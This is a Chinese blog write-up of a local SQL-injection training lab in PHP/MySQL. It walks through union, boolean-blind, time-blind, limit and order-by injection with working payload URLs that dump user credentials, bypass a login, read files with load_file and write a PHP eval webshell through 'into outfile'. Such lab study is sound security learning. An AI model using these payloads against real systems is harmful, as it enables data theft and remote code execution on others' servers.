开普勒sql注入靶场学习

本文详细介绍了如何在PHP环境中利用SQL注入进行常规测试(包括联合查询、布尔盲注、时间盲注和limit/orderby注入),以及如何通过布尔、时间等技巧进行webshell操作。重点讲解了各种注入类型的实战案例和安全问题防范。
摘要由CSDN通过智能技术生成

0x00 靶场搭建

  • 下载地址

      https://github.com/admin360bug/PHP
    
  • 安装方法
    导入localhost.sql数据库
    修改APP/mysql.class.php 数据库配置文件 数据库账号 密码 数据库名字

    phpstudy 集成环境
    Apache 2.4.39
    mysql 5.7.26
    php 7.3.4

    在这里插入图片描述

在这里插入图片描述

0x01 sql注入测试

1.1 常规sql注入测试 联合查询注入

在这里插入图片描述
任务 get post cookie 任选一种传参方式 传id参数 测试

(1)看正常情况

http://www.bachang.com/?id=1

在这里插入图片描述
www.bachang.com/?id=1’

在这里插入图片描述
页面报错
猜测 应该为数值型 注入

sql语句可能为

select * from xx表 where id = $id;

(2)测试是否存在sql注入

www.bachang.com/?id=1 and 1=1
在这里插入图片描述
www.bachang.com/?id=1 and 1=2
在这里插入图片描述
说明 我输入的数据拼接到sql语句中执行了,存在sql注入。

(3)测试字段数

用 order by 1 2 3
根据第几个字段排序 所以当超出字段数 就会报错 不显示数据

最后测试为 5个字段
www.bachang.com/?id=1 order by 5
在这里插入图片描述
www.bachang.com/?id=1 order by 6
在这里插入图片描述

(4)判断回显点

www.bachang.com/?id=-1 union select 1,2,3,4,5

在这里插入图片描述

(5)爆库

爆所有库

www.bachang.com/?id=-1 union select 1,group_concat(schema_name),3,4,5 from information_schema.schemata

在这里插入图片描述
爆当前库 用户 版本

www.bachang.com/?id=-1 union select 1,database(),user(),version(),5
在这里插入图片描述

(6)爆当前库的表

ww.bachang.com/?id=-1 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema = database()
在这里插入图片描述

(7)爆sql_user表的字段

www.bachang.com/?id=-1 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name = ‘sql_user’

在这里插入图片描述

(8)爆 username password email blog 字段值

www.bachang.com/?id=-1 union select 1,group_concat(username,0x7e,password,0x7e,email,0x7e,blog),3,4,5 from sql_user

在这里插入图片描述

1.2 布尔盲注测试

布尔盲注原理

页面响应只有两种情况,真 (登录成功) 假 (登录失败)
先判断库名,表名,字段名,字段值长度 length()
再判断每位的值 ascii() substr()
一般写脚本
在这里插入图片描述
任务 这是盲注
使用GET POST COOKIE 中的一个方式传入Username 与 Password 变量来进行测试漏洞

(1)看登录失败和成功页面响应情况

www.bachang.com/index.php/Home/Index/SQL_tow/?Username=admin&Password=admin1
在这里插入图片描述
www.bachang.com/index.php/Home/Index/SQL_tow/?Username=admin&Password=admin
在这里插入图片描述

猜测 代码中的sql语句应该为

select * from xx表 where Username='$Username' and Password='$Password'

(2)测试是否存在sql注入

猜想是 单引号 闭合 测试

www.bachang.com/index.php/Home/Index/SQL_tow/?Username=admin&Password=admin’ and ‘1’='1
在这里插入图片描述

www.bachang.com/index.php/Home/Index/SQL_tow/?Username=admin&Password=admin’ and ‘1’=‘2
在这里插入图片描述
存在sql注入 根据 页面只有两种回显情况 判断 为布尔盲注
也可以加
ww.bachang.com/index.php/Home/Index/SQL_tow/?Username=admin&Password=admin’ and 1=1%20 --+

www.bachang.com/index.php/Home/Index/SQL_tow/?Username=admin&Password=admin’ and 1=2%20 --+

绕过登录验证
or 有真则真

知道用户名
www.bachang.com/index.php/Home/Index/SQL_tow/?Username=admin’ or 0–+
在这里插入图片描述

不知道用户名 or 1
www.bachang.com/index.php/Home/Index/SQL_tow/?Username=1123123’ or 1 --+
在这里插入图片描述

(3)跑boolean.py脚本

https://blog.csdn.net/YouthBelief/article/details/121672138

在这里插入图片描述

1.3 时间盲注测试

在这里插入图片描述

(1)正常情况

无论传参为id= 几 都显示相同页面
在这里插入图片描述
在这里插入图片描述

(2)测试是否存在sql注入

采用时间盲注测试

www.bachang.com/index.php/Home/Index/SQL_three?id=2 and sleep(5) --+

在这里插入图片描述
www.bachang.com/index.php/Home/Index/SQL_three?id=2’ and sleep(5) --+

在这里插入图片描述
说明是 单引号闭合 存在sql注入 时间盲注
(3)跑脚本
脚本链接

https://blog.csdn.net/YouthBelief/article/details/120980524

在这里插入图片描述

1.4 limit 注入 (无order by)

  • 注意
    需要 mysql 5.7.26以下,下方实验 mysql版本修改为5.5.29

在这里插入图片描述
提示
在这里插入图片描述
源码
在这里插入图片描述

(1)正常情况

在这里插入图片描述

(2)判断回显位置

www.bachang.com/index.php/Home/Index/SQL_four?limit=1,1 union select 1,2,3,4,5
在这里插入图片描述

(3)爆库

www.bachang.com/index.php/Home/Index/SQL_four?limit=1,1 union select 1,2,3,4,group_concat(schema_name) from information_schema.schemata

在这里插入图片描述

(4)后续同联合查询注入一样

在这里插入图片描述

1.5 order by 注入

在这里插入图片描述
代码

$sql = "select * from sql_user where Id = '1' order by {$_REQUEST['order']}";

(1)此处为 无回显的order by 注入

payload :

www.bachang.com/index.php/Home/Index/SQL_five?order=id PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, BENCHMARK(20000000,SHA1(1)),1))))),1);

在这里插入图片描述
根据时间响应 可以判断出 version() 第一位为5 是正确的。

1.6 union写shell

在这里插入图片描述

(1)条件

需要知道网站绝对路径
secure_file_priv 不等于null
用户具有写入权限。

  1. 查询 写入权限 root用户可以

    select file_priv,user,host from mysql.user;
    在这里插入图片描述

  2. 查看secure_file_priv

     show global variables like '%secure_file_priv%';
    

在这里插入图片描述

如果为null的话,修改数据库配置文件 手动添加
在这里插入图片描述

  1. 网站绝对路径

    F:\phpstudy_pro\www.bachang.com
    

(2)操作

paylaod :

www.bachang.com/index.php/Home/Index/SQL_six/?id=1 union select 1,2,3,"<?php phpinfo(); ?>",5 into outfile “F:\phpstudy_pro\www.bachang.com\hack.php”

在这里插入图片描述
在这里插入图片描述

1.7 order by 写入webshell

在这里插入图片描述

写文件函数

union select 后写入
lines terminated by 后写入
lines starting by 写入
fields terminated by 写入
columns terminated by 写入

操作

fields terminated by 写入

www.bachang.com/index.php/Home/Index/SQL_seven?order=1 into outfile “F:\phpstudy_pro\www.bachang.com\orderby.php” FIELDS TERMINATED BY “123123123123<?php phpinfo(); ?>”

在这里插入图片描述

lines starting by 写入

www.bachang.com/index.php/Home/Index/SQL_seven?order=1 into outfile “F:\phpstudy_pro\www.bachang.com\orderby1.php” LINES TERMINATED BY “lines terminater by<?php phpinfo(); ?>”

在这里插入图片描述

columns terminated by 写入

www.bachang.com/index.php/Home/Index/SQL_seven?order=1 into outfile “F:\phpstudy_pro\www.bachang.com\orderby2.php” columns%20 terminated by%20 "columns%20 terminated by <?php phpinfo(); ?>"

在这里插入图片描述

lines starting by 写入

www.bachang.com/index.php/Home/Index/SQL_seven?order=1 into outfile “F:\phpstudy_pro\www.bachang.com\orderby3.php” lines starting by "lines starting by <?php phpinfo(); ?>"

在这里插入图片描述

1.8 limit 写入webshell

在这里插入图片描述

  • 执行的sql代码

如果在$_REQUEST[‘limit’] 中 匹配到 file 字符串,就将limit参数传入的值 传入sql语句中执行。

if(preg_match("/file/",$_REQUEST['limit'])){
                $sql = "select * from sql_user where Id = '1' limit {$_REQUEST['limit']}";

操作

union select 写入

www.bachang.com/index.php/Home/Index/SQL_eit?limit=0,1 union select 1,2,3,“limit union select”,"<?php eval($_REQUEST[1]); ?>" into outfile “F:\phpstudy_pro\www.bachang.com\limit.php”

在这里插入图片描述

lines starting by 写入

www.bachang.com/index.php/Home/Index/SQL_eit?limit=0,1 into outfile “F:\phpstudy_pro\www.bachang.com\limit2.php” lines starting by "limit lines starting by <?php phpinfo(); ?>"

在这里插入图片描述

1.9 union 读取文件

在这里插入图片描述

  • 代码
  • 如果在请求的id参数中 匹配到 load_file,执行下方sql语句
if(preg_match("/load_file/",$_REQUEST['id'])){
                $sql = "select * from sql_user where Id = '{$_REQUEST['id']}'";

(1)测一下回显位

ww.bachang.com/index.php/Home/Index/SQL_nine?id=0’ union select 1,2,3,4,“load_file” --+

在这里插入图片描述

(2)读取文件

www.bachang.com/index.php/Home/Index/SQL_nine?id=0’ union select 1,2,3,load_file(“D:/test.txt”),5 ’

读取成功
在这里插入图片描述

如果没有回显

也可以用盲注读取文件内容
在这里插入图片描述

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值